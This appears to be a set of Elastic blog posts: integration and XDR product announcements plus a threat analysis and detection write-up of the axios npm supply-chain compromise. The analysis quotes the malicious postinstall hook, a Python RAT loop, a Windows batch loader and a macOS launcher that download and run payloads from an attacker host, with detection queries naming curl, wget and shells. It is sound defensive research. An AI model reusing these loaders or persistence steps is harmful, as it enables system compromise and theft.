Security teams can only protect what they can see. Gaps in coverage, like a macOS fleet generating logs that never reach your SIEM, an email gateway running in isolation, or a cloud environment producing findings that stay siloed in the vendor console, are easily exploited by attackers.

Elastic’s answer to this is continuous and open investment in third-party integrations, built on the belief that a strong security ecosystem requires deep integrations that make data from every corner of the stack searchable and contextualized. Today, we’re announcing nine new integrations for Elastic Security spanning cloud security, endpoint visibility, email threat detection, identity and SIEM.

Each integration ships with ingest pipelines that normalize and structure data out of the box, along with prebuilt dashboards that serve as an immediate starting point for visualization and analysis, so teams can search, correlate and investigate across new data sources from day one without writing or maintaining parsers.

macOS Security Events

Elastic Defend, the native integration that delivers Elastic Endpoint Security, collects rich security telemetry on macOS, and it is intentionally focused on high-value detection signals rather than full system auditing. Login and logout events, account creation and deletion, service registration changes and application diagnostic logs all live outside that scope, leaving threat hunters and IR teams without complete macOS context. The macOS Security Events integration complements Elastic Defend, providing the same depth of OS-level visibility offered to Windows devices via the Windows Event Logs integration.

MacOS endpoints generate tens of thousands of unified log entries per endpoint. Left unfiltered, that volume creates noise rather than signals. This integration ships with predicate-based filters that scope ingestion to security-relevant events: authentication activity, process execution, network connections, file system changes, and system configuration modifications.

These predicate-based filters enable comprehensive macOS coverage without the cost or complexity of ingesting everything. Once ingested, these events are immediately available to Elastic Security’s AI Assistant. Analysts can ask natural-language questions like "Show me all privilege escalation attempts on macOS endpoints in the last 24 hours" or "Summarize login failures for this host”, turning raw unified log entries into actionable investigation context without writing a single query.

Check out the macOS Security Events integration.

IBM QRadar

For teams running IBM QRadar in parallel with Elastic Security, alert ingestion into Elastic has become easier. The QRadar integration collects offense records from QRadar’s offense and rules endpoints, enriching each alert with the triggering rule’s name, ID, type and ownership, so analysts can triage in Elastic without switching back to QRadar.

This integration is the foundation of Elastic’s SIEM migration workflow for QRadar, which mirrors the capability already available for Splunk. Teams can also use Automatic Migration for migrating their QRadar rules into Elastic. It uses semantic search and generative AI to map existing rules to Elastic’s 1,300+ prebuilt detections, and translates anything that doesn’t map directly into ES|QL, allowing you to consolidate your SIEM footprint without manually rebuilding your entire detection library.

Check out the IBM QRadar integration.

Proofpoint Essentials

For Enterprise customers, Proofpoint’s TAP (Targeted Attack Protection) has been available in Elastic. To provide the same email threat visibility to SMB environments and the MSP and MSSPs who serve them, Proofpoint Essentials is now available.

The Proofpoint Essentials integration streams four event types into Elastic Security:

• Clicks on malicious URLs that were blocked
• Clicks that were permitted
• Messages blocked for containing threats recognized by URL Defense or Attachment Defense
• Messages delivered despite containing those threats

To easily surface this data, two prebuilt dashboards are available:

For an SMB SOC team, this means phishing attempts, malware detections and policy violations land in the same platform as the rest of your security telemetry, removing the need to switch platforms to understand the full context of a threat.

Check out the Proofpoint Essentials integration.

AWS Security Hub

AWS Security Hub aggregates findings across your AWS environment, but investigating those findings means staying inside the AWS console, separate from the rest of your team’s security data. The Elastic integration changes this by pulling Security Hub findings into Elastic in Open Cybersecurity Schema Framework (OCSF) format and normalizing them to ECS, offering schema-consistent data that’s immediately searchable via ES|QL.

Findings land in the Elastic Vulnerability Findings page, integrating AWS cloud security posture directly into the workflows already in place. From there, you can correlate Security Hub data with signals from other sources - endpoint alerts, identity events, network telemetry - to build a fuller picture of risk across your AWS environment and investigate faster than the native console allows.

Check out the AWS Security Hub integration.

More new Elastic Security integrations

In addition to the featured integrations above, the following integrations are now available, each shipping with prebuilt dashboards for immediate value:

• JupiterOne: Asset intelligence and cloud attack surface monitoring, ingesting cross-tool alerts, CVE findings, and threat detections enriched with MITRE ATT&CK mappings and CVSS scores, and host context for unified risk visibility.
• Airlock Digital: Application allowlisting and execution control telemetry, capturing blocked process executions with command lines, file hashes and publisher context, so unauthorized execution attempts are visible and correlatable alongside the rest of your endpoint detections.
• Island Browser: Enterprise browser security events spanning user navigation, device posture, compromised credential detection and admin activity, extending Elastic’s visibility to BYOD and unmanaged devices where traditional endpoint agents can’t be deployed.
• Ironscales: AI-powered phishing detection events capturing email metadata, sender reputation, affected mailbox counts and suspicious links, correlatable with endpoint and identity data for faster investigation and response.
• Cyera: Data security posture management events, surfacing sensitive data risks including exposure severity, affected record counts, compliance framework violations, and datastore ownership across cloud environments, so sensitive data exposure doesn’t stay siloed in a separate DSPM console.

Get started

These integrations Elastic’s open approach to security. All nine integrations in this roundup ship with prebuilt dashboards and native ECS mappings, giving your team immediate visibility with no additional setup or custom visualization work required.

From there, findings, alerts and logs are immediately available to Elastic’s broader detection and investigation capabilities: Attack Discovery for surfacing multi-stage threats, AI Assistant for natural-language investigation and guided response, and to ES|QL and EQL for custom detection and hunting queries.

• Browse available integrations
• Learn about migrating to Elastic Security from other SIEMs

Have questions or feedback? Join #security-siem in the Elastic Stack Community Slack.

Elastic Security Labs released initial triage and detection rules for the Axios supply-chain compromise. This is a detailed analysis of the RAT and payloads.

Introduction

Elastic Security Labs identified a supply chain compromise of the axios npm package, one of the most depended-upon packages in the JavaScript ecosystem with approximately 100 million weekly downloads. The attacker compromised a maintainer account and published backdoored versions that delivered a cross-platform Remote Access Trojan to macOS, Windows, and Linux systems through a malicious postinstall hook.

Key takeaways

• A compromised npm maintainer account (jasonsaayman) was used to publish two malicious versions of the widely used Axios HTTP client — 1.14.1 (tagged latest) and 0.30.4 (tagged legacy) — meaning a default npm install axios resolved to a backdoored package
• The malicious JavaScript deploys platform-specific stage-2 implants for macOS, Windows, and Linux
• All three stage-2 payloads are implementations of the same RAT — identical C2 protocol, command set, beacon cadence, and spoofed user-agent, written in PowerShell (Windows), C++ (macOS), and Python (Linux)
• The dropper performs anti-forensic cleanup by deleting itself and swapping its package.json with a clean copy, erasing evidence of the postinstall trigger from node_modules

Preamble

On March 30, 2026, Elastic Security Labs detected a supply chain compromise targeting the axios npm package through automated supply-chain monitoring. The attacker gained control of the npm account belonging to jasonsaayman, one of the project's primary maintainers, and published two backdoored versions within a 39-minute window.

The axios package is one of the most widely depended-upon HTTP client libraries in the JavaScript ecosystem. At the time of discovery, both the latest and legacy dist-tags pointed to compromised versions, ensuring that the majority of fresh installations pulled a backdoored release.

The malicious versions introduced a single new dependency: plain-crypto-js, a purpose-built package whose postinstall hook silently downloaded and executed platform-specific stage-2 RAT implants from sfrclak[.]com:8000.

What makes this campaign notable beyond its blast radius is the stage-2 tooling. The attacker deployed three parallel implementations of the same RAT — one each for Windows, macOS, and Linux — all sharing an identical C2 protocol, command structure, and beacon behavior. This isn't three different tools; it's a single cross-platform implant framework with platform-native implementations.

Elastic Security Labs filed a GitHub Security Advisory to the axios repository on March 31, 2026 at 01:50 AM UTC to coordinate disclosure and ensure the maintainers and npm registry could act on the compromised versions.

As the community flagged the compromise on social media, Elastic Security Labs shared early findings publicly to help defenders respond in real time.

This post covers the full attack chain: from the npm-level supply chain compromise through the obfuscated dropper, to the architecture of the cross-platform RAT and the meaningful differences between its three variants.

Campaign overview

The compromise is evident from the npm registry metadata. The maintainer email changed from jasonsaayman@gmail[.]com — present on all prior legitimate releases — to ifstap@proton[.]me on the malicious versions. The publishing method also changed:

The shift from a trusted OIDC publisher flow with SLSA provenance to a direct CLI publish with a changed email is a clear indicator of unauthorized access.

Timeline

• 2026-02-18 17:19 UTC — axios@0.30.3 published legitimately by jasonsaayman@gmail[.]com
• 2026-03-27 19:01 UTC — axios@1.14.0 published legitimately via GitHub Actions OIDC
• 2026-03-30 05:57 UTC — plain-crypto-js@4.2.0 published by nrwise (nrwise@proton.me) — clean decoy to build registry history
• 2026-03-30 23:59 UTC — plain-crypto-js@4.2.1 published by nrwise — malicious version with postinstall backdoor
• 2026-03-31 00:21 UTC — axios@1.14.1 published by compromised account — tagged latest
• 2026-03-31 01:00 UTC — axios@0.30.4 published by compromised account — tagged legacy

Affected packages

• axios@1.14.1 — Malicious, tagged latest at time of discovery
• axios@0.30.4 — Malicious, tagged legacy at time of discovery
• plain-crypto-js@4.2.0 — Clean decoy, published to build registry history
• plain-crypto-js@4.2.1 — Malicious, payload delivery vehicle (postinstall backdoor)

Safe versions: axios@1.14.0 (last legitimate 1.x release with SLSA provenance) and axios@0.30.3 (last legitimate 0.30.x release).

The attacker tagged both the latest and legacy channels, maximizing the blast radius across projects using either the current or legacy axios API.

Code analysis

Stage 1: The plain-crypto-js dropper

The entire delivery chain hinges on npm's postinstall lifecycle hook. Installing either compromised axios version pulls plain-crypto-js@^4.2.1 as a dependency, which declares:

"scripts": {
  "postinstall": "node setup.js"
}

This causes setup.js to execute automatically during npm install — no user interaction required.

The setup.js file uses a two-layer encoding scheme to conceal its behavior:

• Layer 1: String reversal followed by Base64 decoding
• Layer 2: XOR cipher using the key OrDeR_7077 with a position-dependent index (7 * i² % 10)

All critical strings, module names, URLs, shell commands are stored in an encoded array stq[] and decoded at runtime. The decoded contents reveal the operational infrastructure:

Platform-specific delivery

After decoding its string table, the dropper checks os.platform() and branches into one of three delivery routines. Each sends an HTTP POST to http://sfrclak[.]com:8000/6202033 with a platform-specific body — packages.npm.org/product0 (macOS), packages.npm.org/product1 (Windows), packages.npm.org/product2 (Linux) — allowing the C2 to serve the correct payload from a single endpoint. The packages.npm.org/ prefix is a deliberate attempt to make outbound traffic appear as benign npm registry communication in network logs:

Anti-forensics

The dropper performs two cleanup actions:

1. Self-deletion: setup.js removes itself via fs.unlink(__filename)
2. Package manifest swap: A clean file named package.md (containing a benign version 4.2.0 configuration with no postinstall hook) is renamed to package.json, overwriting the malicious version

Post-incident inspection of node_modules/plain-crypto-js/package.json reveals no trace of the postinstall trigger. The malicious setup.js is gone. Only the lockfile and npm audit logs retain evidence.

Stage 2: Cross-platform RAT

The three stage-2 payloads: PowerShell for Windows, compiled C++ for macOS, Python for Linux are not three different tools. They are three implementations of the same RAT specification, sharing an identical C2 protocol, command set, message format, and operational behavior. The consistency strongly indicates a single developer or tightly coordinated team working from a shared design document.

Shared architecture

The following properties are identical across all three variants:

• C2 transport: HTTP POST
• Body encoding: Base64-encoded JSON
• User-Agent: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)
• Beacon interval: 60 seconds
• Session UID: 16-character random alphanumeric string, generated per-execution
• Outbound message types: FirstInfo, BaseInfo, CmdResult
• Inbound command types: kill, peinject, runscript, rundir
• Response command types: rsp_kill, rsp_peinject, rsp_runscript, rsp_rundir

The spoofed IE8/Windows XP user-agent string is particularly notable, it is anachronistic on all three platforms, and its presence on a macOS or Linux host is a strong detection indicator.

Initialization and reconnaissance

On startup, each variant:

1. Generates a session UID — 16 random alphanumeric characters, included in every subsequent C2 message
2. Detects OS and architecture — reports platform-specific identifiers (e.g., windows_x64, macOS, linux_x64)
3. Enumerates initial directories of interest (user profile, documents, desktop, config directories)
4. Sends a FirstInfo beacon containing the UID, OS identifier, and directory snapshot

After initialization, the implant enters the main loop. The first BaseInfo heartbeat includes a comprehensive system profile. The same categories of data are collected on all platforms, though the underlying APIs differ:

Subsequent heartbeats are lightweight, containing only a timestamp to confirm the implant is alive.

Command dispatch

The C2 response is parsed as JSON, and the type field determines the action. All three variants implement the same four commands:

kill — Self-termination. Sends an rsp_kill acknowledgment and exits. The Windows variant's persistence mechanism (registry key + batch file) survives the kill command unless explicitly cleaned up; the macOS and Linux variants have no persistence of their own.

runscript — Script/command execution. The operator's primary interaction command. Accepts a Script field (code to execute) and a Param field (arguments). When Script is empty, Param is run directly as a command. The execution mechanism is platform-native:

peinject — Binary payload delivery. Despite the Windows-centric naming ("PE inject"), all three platforms implement this as a way to drop and execute binary payloads:

The Windows implementation has in-memory execution with no file drop but without disabling AMSI which will certainly flag on the Assembly load. The macOS and Linux variants take the simpler approach of writing a binary to disk and executing it directly.

rundir — Directory enumeration. Accepts paths and returns detailed file listings (name, size, type, creation/modification timestamps, child count for directories). Allows the operator to interactively browse the filesystem.

Capability summary

Attribution

The macOS Mach-O binary delivered by the plain-crypto-js postinstall hook exhibits significant overlap with WAVESHAPER, a C++ backdoor tracked by Mandiant and attributed to UNC1069, a DPRK-linked threat cluster.

Conclusion

This campaign demonstrates the continued attractiveness of the npm ecosystem as a supply chain attack vector. By compromising a single maintainer account on one of the JavaScript ecosystem's most depended-upon packages, the attacker gained a delivery mechanism with potential reach into millions of environments.

The toolkit's most reliable detection indicator is also its most curious design choice: the IE8/Windows XP user-agent string hardcoded identically across all three platform variants. While it provides a consistent protocol fingerprint for C2 server-side routing, it is trivially detectable on any modern network — and is an immediate anomaly on macOS and Linux hosts.

Elastic Security Labs will continue monitoring this activity cluster and will update this post with any additional findings.

MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial Access
• Execution
• Persistence
• Defense Evasion
• Discovery
• Command and Control

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Supply Chain Compromise: Compromise Software Dependencies
• Command and Scripting Interpreter: JavaScript
• Command and Scripting Interpreter: PowerShell
• Command and Scripting Interpreter: AppleScript
• Command and Scripting Interpreter: Unix Shell
• Command and Scripting Interpreter: Python
• Boot or Logon Autostart Execution: Registry Run Keys
• Obfuscated Files or Information
• Masquerading
• Hidden Files and Directories
• Process Injection
• Indicator Removal: File Deletion
• System Information Discovery
• Process Discovery
• File and Directory Discovery
• Application Layer Protocol: Web Protocols
• Non-Standard Port
• Data Encoding: Standard Encoding
• Ingress Tool Transfer

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://www.elastic.co/security-labs/axios-supply-chain-compromise-detections

Elastic Security Labs is releasing an initial triage and detection rules for the Axios supply-chain compromise. We have released a detailed analysis on the Axios compromise RAT and payloads.

Elastic Security Labs filed a GitHub Security Advisory to the axios repository on March 31, 2026 at 01:50 AM UTC to coordinate disclosure and ensure the maintainers and npm registry could act on the compromised versions.

Introduction

We are currently tracking a supply chain attack involving malicious Axios package versions that introduce a secondary dependency used for post-install execution. Rather than embedding malicious logic directly into the primary package, the attacker leveraged a transitive dependency to trigger execution during installation and deploy a cross-platform payload.

Elastic observed consistent execution patterns across impacted systems immediately after npm install of the malicious Axios versions (1.14.1, 0.30.4). The added dependency (plain-crypto-js@4.2.1) executed during postinstall and was quickly followed by a second-stage payload.

Across Linux, Windows, and macOS, the activity followed the same structure:

node (npm install)
  → OS-native execution (sh / cscript / osascript)
    → remote payload retrieval
      → backgrounded or hidden execution of stage 2

This results in a small but high-signal window where:

• node spawns a shell or interpreter
• a remote payload is fetched
• execution is detached from the original process

Elastic detections triggered reliably on this behavior across platforms, providing strong coverage of the delivery stage.

How Elastic Detects the Supply Chain Attack

This activity consistently appears in process telemetry as a Node.js process spawning an OS-native execution path to retrieve and execute a remote payload, often in a detached or hidden context. Elastic detections focus on this behavior rather than static indicators, providing reliable coverage of the delivery stage across platforms.

Linux

The Linux execution path is the cleanest place to start, because the malware does very little to hide what it is doing. We observed that the delivery stage produced exactly the kind of process ancestry you would expect from a compromised dependency:

node → /bin/sh -c curl -o /tmp/ld.py ... && nohup python3 /tmp/ld.py ... &

Which shows up as follows:

The initial signal comes from the Node.js process, handing off execution to a shell that performs a remote fetch. This is captured by the Curl or Wget Spawned via Node.js detection rule.

event.category:process and
process.parent.name:("node" or "bun" or "node.exe" or "bun.exe") and 
(
  (
    process.name:(
      "bash" or "dash" or "sh" or "tcsh" or "csh" or  "zsh" or "ksh" or
      "fish" or "cmd.exe" or "bash.exe" or "powershell.exe"
    ) and
    process.command_line:(*curl*http* or *wget*http*)
  ) or 
  process.name:("curl" or "wget" or "curl.exe" or "wget.exe")
)

This captures the moment when the installation flow deviates from normal package behavior and begins pulling a payload over HTTP. In this case, it is the curl invocation that retrieves /tmp/ld.py from the remote server.

Shortly after, execution continues in the same shell, but now the focus shifts from retrieval to execution. This is picked up by Process Backgrounded by Unusual Parent.

event.category:process and event.type:start and
process.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and
process.args:(-c and *&)

Which captures the second half of the chain:

sh -c "... && nohup python3 /tmp/ld.py ... &"

The payload is launched with nohup and backgrounded immediately using &, detaching it from the parent process and suppressing output. That transition from a short-lived install-time shell into a detached long-running process is where the actual implant takes over.

After execution, the Linux second stage is a Python-based RAT that establishes a simple polling loop to its C2. The entrypoint work() sends an initial FirstInfo message and then transitions into main_work(), which continuously reports host data and processes tasking:

while True:
    ps = print_process_list()

    data = {
        "hostname": get_host_name(),
        "username": get_user_name(),
        "os": os,
        "processList": ps
    }

    response_content = send_result(url, body)

    if response_content:
        process_request(url, uid, response_content)

    time.sleep(60)

On first check-in, it performs a targeted directory enumeration via init_dir_info() across user paths such as $HOME, .config, Documents, and Desktop, and builds a process listing directly from /proc, including usernames and start times.

Tasking is minimal but flexible. runscript supports arbitrary shell execution or base64-delivered Python via python3 -c, while peinject simply writes attacker-supplied bytes to a hidden file in /tmp and executes it:

file_path = f"/tmp/.{generate_random_string(6)}"
with open(file_path, "wb") as file:
    file.write(payload)

os.chmod(file_path, 0o777)
subprocess.Popen([file_path] + shlex.split(param.decode("utf-8")))

This provides the operator with a lightweight access implant for periodic host profiling, command execution, and follow-on payload delivery.

Together, these detections provide strong coverage of the Linux delivery stage and the transition into the Python backdoor, without relying on specific filenames or hardcoded indicators:

• Curl or Wget Spawned via Node.js
• Process Backgrounded by Unusual Parent

Windows

The Windows execution path follows the same pattern: it uses curl to download a remote PowerShell script and proxy execution via a renamed PowerShell (C:\ProgramData\wt.exe). The following alert shows the process chain:

Where:

• wt.exe is a renamed copy of PowerShell.exe located in C:\ProgramData\wt.exe
• curl is used to retrieve a remote PowerShell script
• execution is performed via the renamed binary

We first observe the creation and use of the renamed interpreter. This is captured by Execution via Renamed Signed Binary Proxy, which flags signed system binaries executed from unexpected locations.

Shortly after, the same binary is used to retrieve the second-stage payload over HTTP. This is picked up by Potential File Transfer via Curl for Windows, capturing the network retrieval stage driven from the scripted execution chain.

The second stage is a PowerShell-based RAT that beacons to its C2 (http[:]//sfrclak[.]com:8000/) every 60 seconds over HTTP using a fake IE8 User-Agent and base64-encoded JSON.

It establishes persistence via Run\MicrosoftUpdate registry key to execute a hidden bat script C:\ProgramData\system.bat:

The batch file dynamically retrieves and executes the payload in memory on login:

start /min powershell -w h -c "
([scriptblock]::Create(
  [System.Text.Encoding]::UTF8.GetString(
    (Invoke-WebRequest -UseBasicParsing -Uri '' -Method POST -Body 'packages.npm.org/product1').Content
  )
)) ''"

Its core capabilities include:

• peinject - in-memory .NET assembly injection using Assembly.Load(byte[]) for process hollowing into cmd.exe.
• runscript - arbitrary PowerShell script execution via encoded commands or temp files,
• rundir - filesystem enumeration of user directories and all drive roots.

On initialization, it fingerprints the host via WMI, collecting hostname, username, OS version, CPU, hardware model, timezone, boot/install times, and a full process listing, and sends an initial directory listing of Documents, Desktop, OneDrive, and AppData before entering its beacon loop.

The second stage triggers both the Startup Persistence via Windows Script Interpreter and Suspicious String Value Written to Registry Run Key alerts:

The Suspicious PowerShell Base64 Decoding rule alert captures the PowerShell RAT script content :

Taken together, these detections capture the full Windows delivery chain: from renamed binary execution, to payload retrieval, to persistence, and in-memory execution via the following behavioral detections:

• Execution via Renamed Signed Binary Proxy
• Potential File Transfer via Curl for Windows
• Startup Persistence via Windows Script Interpreter
• Suspicious String Value Written to Registry Run Key
• Suspicious PowerShell Base64 Decoding

macOS

Analysis shows the loader writes AppleScript to a temp file, runs it via osascript, then downloads the second stage to a fake Apple-looking cache path and launches it through /bin/zsh. The key launcher looks like this:

do shell script "curl -o /Library/Caches/com.apple.act.mond \
 -d packages.npm.org/product0 \
 -s http://sfrclak.com:8000/6202033 \
 && chmod 770 /Library/Caches/com.apple.act.mond \
 && /bin/zsh -c \"/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &\" \ &> /dev/null"

The delivered file produced the following execution matching on the file name masquerading attempt and the self-signed code signature :

The payload path itself triggers the Potential Binary Masquerading via Invalid Code Signature and Suspicious URL as argument to Self-Signed Binary endpoint rules, as it mimics Apple naming conventions (com.apple.*) but does not match expected signing characteristics.

com.apple.act.mond is a custom-built macOS backdoor compiled as a universal Mach-O binary (x86_64 and ARM64) using C++ and Xcode, with HTTP-based C2 communications via libcurl and a JSON command protocol.

On initial check-in, it fingerprints the host, collecting hostname, username, OS version, hardware model, timezone, and a full process listing (ps -eo user,pid,command), which surfaces via the Suspicious XPC Service Child Process endpoint rule, capturing unexpected child process activity originating from the backdoor:

The macOS backdoor facilitates:

• C2 connection by passing a URL directly as an argument.
• AppleScript execution using osascript via temporary hidden .scpt files dropped to /tmp/
• Filesystem enumeration targeting /Applications and ~/Library/Application Support
• Downloading and executing remote base64-encoded payloads.
• Ad-hoc code signing of dropped payloads (codesign --force --deep --sign - “/private/tmp/.*”) so it can run past Gatekeeper.

The binary is not packed or obfuscated, ships with debug entitlements enabled, and retains developer build paths (Jain_DEV/client_mac/macWebT) and uses a spoofed IE8/Windows XP user-agent string (mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)).

These detections collectively follow the macOS delivery path from staged AppleScript execution to payload launch and post-execution behavior:

• Suspicious URL as argument to Self-Signed Binary
• Potential Binary Masquerading via Invalid Code Signature
• Suspicious XPC Service Child Process

Conclusion

This supply chain attack highlights how little complexity is required to achieve cross-platform compromise when execution is triggered during installation.

Across Linux, Windows, and macOS, we consistently observed the same core pattern: a Node.js process spawning native OS execution to retrieve and launch a remote payload, followed by immediate detachment or hidden execution.

From a detection perspective, the key takeaway is that the most reliable signals are not in the package itself, but in what happens immediately after installation. Process ancestry, network retrieval, and detached execution provide a stable detection surface that remains effective even when payloads, filenames, or infrastructure change.

Elastic detections focused on this behavior provided consistent coverage of the delivery stage across all platforms, without relying on static indicators.

Indicators of Compromise (IOCs)

Related Alerts

Malicious Packages

Additional related packages observed in the ecosystem abuse:

Script / Payload Hashes (SHA256)

Network Indicators

File System Indicators

Cross-platform

Linux

Windows

macOS

Security investigations rarely stay confined to a single host. Today’s attackers increasingly use automation and AI to compress multi-stage attacks into minutes, turning what once unfolded over days into coordinated activity across endpoints, identities, workloads, and cloud services within minutes.

While many attacks begin on an endpoint, investigators must quickly determine how that activity spreads across the environment. In many environments, per-endpoint licensing limits how broadly protection and telemetry can be deployed, creating protection gaps during these investigations.

Elastic Security XDR is built around that reality. It includes best-in-class endpoint protection, without per-endpoint licensing constraints, in an agentic security operations platform where endpoint telemetry, infrastructure signals, and supporting artifacts can be analyzed together.

This post explores how Elastic Security XDR supports investigations across endpoints, workloads, and the broader environment, highlighting tools and workflows that help analysts collect evidence, pivot across telemetry, and respond efficiently.

Endpoint at the heart of XDR

The 2025 Elastic Global Threat Report reveals that with 90% of malware targeting Windows, and browsers acting as the 'primary battleground', host-level visibility is essential to stopping a breach before it scales to the cloud. Elastic Defend, Elastic Security’s native endpoint protection, powers XDR from the endpoint outward. It not only prevents threats across Windows, macOS, and Linux, but also generates rich, investigation-grade telemetry that gives analysts the context they need to understand what happened on a host.

As activity occurs, Elastic Defend captures system events including process execution, file changes, network connections, and related artifacts. This telemetry forms the foundation for broader investigations, allowing analysts to correlate endpoint behavior with activity across workloads, identities, and other systems.

Multiple detection layers protect against malware, ransomware, fileless techniques, and other malicious behaviors, using both static and behavioral analysis. Independent validation from the AV-Comparatives Business Security Test confirms Elastic’s effectiveness; in the 2025 test cycle, Elastic Security was the only vendor that blocked every tested threat, earning perfect scores in both Real-World Protection and Malware Protection.

Elastic also takes a principled approach to openness. Unlike many endpoint security tools that operate as a black box, Elastic publishes detection and prevention logic in an open repository. This transparency lets analysts understand how protections work, validate them in their own environments, and prioritize high-risk gaps. By empowering users with visibility and insight, Elastic ensures security teams can act with confidence and maximize the value of their investigations.

Beyond the endpoint: expanding the investigation

Attacks rarely stay confined to a single host. Credentials may be compromised, workloads modified, or activity spread across cloud services and infrastructure. To fully understand an incident, analysts need to correlate endpoint activity with signals from the broader environment.

Elastic Security XDR enables this by bringing multiple data sources into the same analysis environment through hundreds of integrations with popular security tools and data sources. Endpoint telemetry,whether collected by Elastic Defend or another EDR platform, can be analyzed alongside cloud activity, identity events, network telemetry, and third-party logs, without forcing organizations into a closed security stack. Elastic provides the common schema and unified detection engine required to normalize disparate signals, allowing analysts to bypass manual data mapping and immediately pivot between sources to follow how activity moves across users, systems, and infrastructure.

Centralized detection rules operate across the unified dataset in the security platform, complementing real-time protections that run directly on the endpoint. They enable alerts to reflect correlated activity across multiple domains. Suspicious process activity on a host can be matched with identity events, cloud API calls, or network behavior, helping analysts determine whether an event is isolated or part of a larger attack chain.

Container workloads highlight another way XDR extends investigations. Elastic Defend for Containers monitors runtime behavior inside containerized environments, detecting suspicious activity such as unexpected process execution, privilege escalation, or access to sensitive resources. By connecting endpoint behavior to the broader environment, Elastic Security XDR gives analysts the visibility needed to scope incidents accurately, prioritize critical threats, and respond with confidence.

Reconstructing the attack path

After relevant telemetry is collected, analysts need to piece together what happened and how the attack progressed. Investigations involve pivoting between events, validating hypotheses, and assembling a complete timeline of activity across the environment.

Elastic Security XDR provides investigation tools designed to support this process. Visual Event Analyzer, Session View, and Timeline allow analysts to explore relationships between events, trace execution chains, and correlate activity across datasets while maintaining investigative context.

Visual Event Analyzer offers a graphical view of process relationships, helping analysts spot suspicious parent-child behavior and understand execution flows. Session View reconstructs activity within a process session, showing commands, network connections, and other actions as they unfolded. Timeline acts as an investigative workspace where analysts collect and correlate events from multiple sources, refine queries, and build a coherent attack narrative.

Together, these tools help analysts validate hypotheses faster, deepen analysis, and enable more confident response decisions.

Agentic investigation: discovery, summarization, and natural language querying

Elastic Security’s AI-driven investigative workflows help analysts keep pace with modern attacks by accelerating investigation and surfacing connected activity across the environment. Attack Discovery identifies connected alerts across endpoints, workloads, cloud services, and integrated third-party data, helping analysts uncover hidden attack chains without manually correlating events.

Once an investigation is underway, Elastic AI Assistant and Agent Builder enable natural-language workflows that let analysts interact with data and automation more efficiently. Analysts can summarize observations, ask questions about entities and activity, and move seamlessly from supporting signals to containment or remediation actions. With the introduction of agent skills, teams can now extend these workflows with reusable, task-specific capabilities, such as alert triage, rule management, and case handling, allowing the assistant to execute complex, multi-step security tasks with the same consistency and repeatability as traditional automation, but through a conversational interface.

In practice, these capabilities reduce the time from an initial alert to full incident understanding, allowing SOC teams to respond faster, focus on high-priority threats, and act with confidence.

Built-in forensics and host artifact collection

During incident response, investigators often need to retrieve additional host artifacts to confirm attacker behavior, identify persistence, or validate user activity.

Elastic Security XDR includes built-in forensic capabilities that allow responders to collect investigative artifacts directly from affected hosts, reducing the need for separate forensic tooling during common investigative tasks. Elastic Defend supports capturing memory snapshots for deeper forensic analysis, while Osquery Manager enables analysts to run targeted queries to gather and examine host artifacts as part of an investigation.

Forensic visibility is further extended through ongoing collaboration with Osquery. By extending Osquery-based forensics with supplemental tables for common investigative artifacts, Elastic helps uncover evidence such as browser history, AMCache records, and jumplist artifacts. These sources make it easier for analysts to examine user activity and execution history on Windows systems during an investigation. Also available is library of prebuilt forensic queries and packs to extract common investigative artifacts across Windows, macOS, and Linux, including:

• process listings and execution context
• scheduled tasks, startup items, and persistence mechanisms
• shell history and command execution artifacts
• network configuration and connectivity context
• file hashes and other execution-related artifacts

These capabilities turn artifact collection into an embedded step of the investigation, rather than a separate workflow, so teams can confirm what happened all in one platform and act sooner.

Response actions that keep investigations moving

Once investigators confirm malicious behavior, the priority shifts to containment and remediation. Elastic Security XDR enables analysts to take immediate action directly from the investigation context, isolating a host, terminating suspicious processes, collecting a file from the endpoint, or running a response script to collect additional evidence needed to complete the analysis.

For organizations using third-party EDRs, Elastic Security XDR can orchestrate containment and response across mixed environments, allowing teams to keep investigation, enforcement, and incident record-keeping anchored in a single platform.

Controlling removable media with Device Control

Investigations often uncover risk paths beyond traditional malware, such as removable media usage or potential USB-based exfiltration. Elastic Security XDR’s Device Control capabilities let teams manage and enforce removable media policies across endpoints, reducing attack surface and preventing unauthorized data transfer.

Device Control also allows teams to automatically block USB devices and maintain a trusted set of approved devices, ensuring policies are enforced consistently across all endpoints.

Scaling response with Elastic Workflows

Incident response often follows repeatable steps. When an alert fires, teams enrich it, gather evidence, contain affected hosts, open cases, notify responders, and document decisions, ensuring investigations persist across handoffs and shift changes.

Elastic Workflows gives teams a way to encode those steps as a reusable playbook that runs inside the Elastic platform. Workflows are defined declaratively in YAML in Kibana, and can be triggered in multiple ways: when a Kibana alerting rule fires, on a schedule, or manually on demand.

From there, a workflow can execute a sequence of steps that look a lot like what an analyst would do manually:

• Query Elastic data (including ES|QL), transform results, and branch based on conditions
• Create or update a Case, attach supporting context, and keep an auditable record of what was collected and why.
• Notify downstream systems (Slack, Jira, PagerDuty, and other services) using connectors you’ve already configured, or call internal/external APIs via HTTP steps.

This becomes especially impactful when paired with endpoint response capabilities. When an alert fires, teams can automatically isolate the host and kick off a standardized evidence bundle - capture a memory dump, collect a suspicious file (get-file), and list running processes - so responders have what they need immediately.

The net effect is faster execution of the first steps in incident response, while investigations follow consistent playbooks across analysts and shifts. Instead of relying on memory and manual checklists, Workflows helps enforce a repeatable investigation standard and makes it easier to scale response when alert volume spikes.

Elastic Security Labs - Research that powers real-world defenses

Elastic Security is informed by the work of Elastic Security Labs, a team dedicated to studying real adversary behavior and translating those findings into practical detection and investigation guidance. Threat Command tracks emerging techniques, malware activity, and endpoint tradecraft, then turns that research into updates that matter in day-to-day security operations: new and refined detection rules, improvements to prevention logic, and clearer guidance on how to investigate what you’re seeing.

Elastic Security Labs also publishes technical write-ups and analyses to help the broader community understand how threats operate in the wild. For defenders, that research provides useful context behind detections - why a technique matters, what evidence to look for, and how to scope impact once an alert fires.

Tying it all together

